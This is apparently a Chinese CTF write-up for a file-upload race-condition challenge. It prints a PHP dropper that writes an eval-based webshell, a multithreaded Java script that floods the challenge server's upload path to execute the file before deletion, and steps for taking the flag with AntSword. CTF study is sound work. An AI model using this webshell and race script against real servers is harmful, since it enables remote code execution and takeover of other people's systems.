当前位置: 首页 > news >正文

【漏洞攻击之文件上传条件竞争】

漏洞攻击之文件上传条件竞争

  • wzsc_文件上传
  • 漏洞现象与分析
  • 思路
  • 编写攻击脚本和重放措施
  • 中国蚁剑拿flag

wzsc_文件上传

漏洞现象与分析

在这里插入图片描述只有一个upload前端标签元素,并且上传任意文件都会跳转到upload.php页面,判定是一个apache容器,开始扫描web目录,查看是否有机可乘
在这里插入图片描述扫描得知有关键的flag.php页面和upload文件根路径和upload.php页面,php文件查看了都没有渲染有用的信息…但是upload文根重定向到文件上传的页面
在这里插入图片描述并且上传的php木马等都会被过滤,判断源码中有校验白名单,联想到文件上传的条件竞争

php校验文件上传的时候先写入,判断不符合后,再回退
由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在

思路

思路清晰,先说BP
在服务器释放上传的php文件之前先让该文件被执行,那么操作权就在我们手上了,这里我们让生成蚁剑的webshell木马,再通过提权webshell获取源码拿到flag

编写攻击脚本和重放措施

php上传的脚本为:

<?php 
fputs(fopen("shell.php", "w"), '<?php @eval($_POST["cmd"]); ?>'); 
?>

执行该脚本打时候调用fopen函数,写入webshell的木马。
该脚本为upload,在burpsuite手动重放即可,记得点快一点
小编使用java多线程破坏服务器的退回操作,上脚本:

@SpringBootApplication
@Slf4j
public class Application {@Beanpublic OkHttpClient okHttpClient() {return new OkHttpClient();}private static final String requestUrl = "http://61.147.171.105:51022/upload/test.php";public static String sendRequest(OkHttpClient okHttpClient, String url) throws IOException {Request request = new Request.Builder().url(url).build();try (Response response = okHttpClient.newCall(request).execute()) {if (!response.isSuccessful()) {throw new IOException("Unexpected code " + response);}return Objects.requireNonNull(response.body()).string();}}public static void main(String[] args) {ConfigurableApplicationContext applicationContext = SpringApplication.run(Application.class, args);OkHttpClient okHttpClient = applicationContext.getBean("okHttpClient", OkHttpClient.class);for (int i = 0; i < 50; i++) {new Thread(() -> {int num = 0;while (true) {log.warn("{}第{}次请求", Thread.currentThread().getName(), num++);try {String resp = sendRequest(okHttpClient, requestUrl);log.info("数据获取成功{}", resp);System.exit(0);} catch (IOException e) {}}}, "threadNo" + i).start();}}
}

最终java脚本结束:
在这里插入图片描述
我们访问upload文根查看结果
在这里插入图片描述
木马上传成功!

中国蚁剑拿flag

在这里插入图片描述在这里插入图片描述

在这里插入图片描述提交flag
在这里插入图片描述

http://www.lryc.cn/news/285865.html

相关文章:

  • Buttton样式设置background属性失效的问题
  • 使用vue-pdf插件加载pdf
  • BP蓝图映射到C++笔记1
  • 龙芯+RT-Thread+LVGL实战笔记(30)——电子琴演奏
  • Python Process创建进程(2种方法)详解
  • 树莓派4B 使用树莓派官方烧录器烧录ubuntu20.04.5 排坑
  • 鸿蒙开发(五)鸿蒙UI开发概览
  • 应用层—HTTP详解(抓包工具、报文格式、构造http等……)
  • ISA Server 2006部署网站对比nginx
  • CHAPTER 9: 《DESIGN A WEB CRAWLER》第9章 《设计一个web爬虫》
  • java SSM网上小卖部管理系统myeclipse开发mysql数据库springMVC模式java编程计算机网页设计
  • Java中集合元素的删除
  • HNU-数据挖掘-实验2-数据降维与可视化
  • 【shell编程入门】正则表达式
  • 高效火情监测,科技助力森林防火【数字地球开放平台】
  • 第14章_集合与数据结构拓展练习(前序、中序、后序遍历,线性结构,单向链表构建,单向链表及其反转,字符串压缩)
  • WEB前端3D变换效果以及如何应用js代码
  • Linux中的新建用户、切换用户
  • Vue3使用
  • BindingException: Invalid bound statement (not found): xxMapper.deleteBatchIds
  • 开源图床LightPicture搭建本地图片管理系统并实现无公网IP远程访问
  • 黑马苍穹外卖学习Day10
  • [数据结构 - C++] 红黑树RBTree
  • 《WebKit 技术内幕》学习之十(2): 插件与JavaScript扩展
  • 【头歌-数据分析与实践-python】数据分析与实践-python——python基础
  • 【数据库原理】(37)Web与数据库
  • STM32 TIM输出比较、PWM波形
  • React16源码: React中的updateClassComponent的源码实现
  • Mybatis 动态SQL(set)
  • Ubuntu18.04在线镜像仓库配置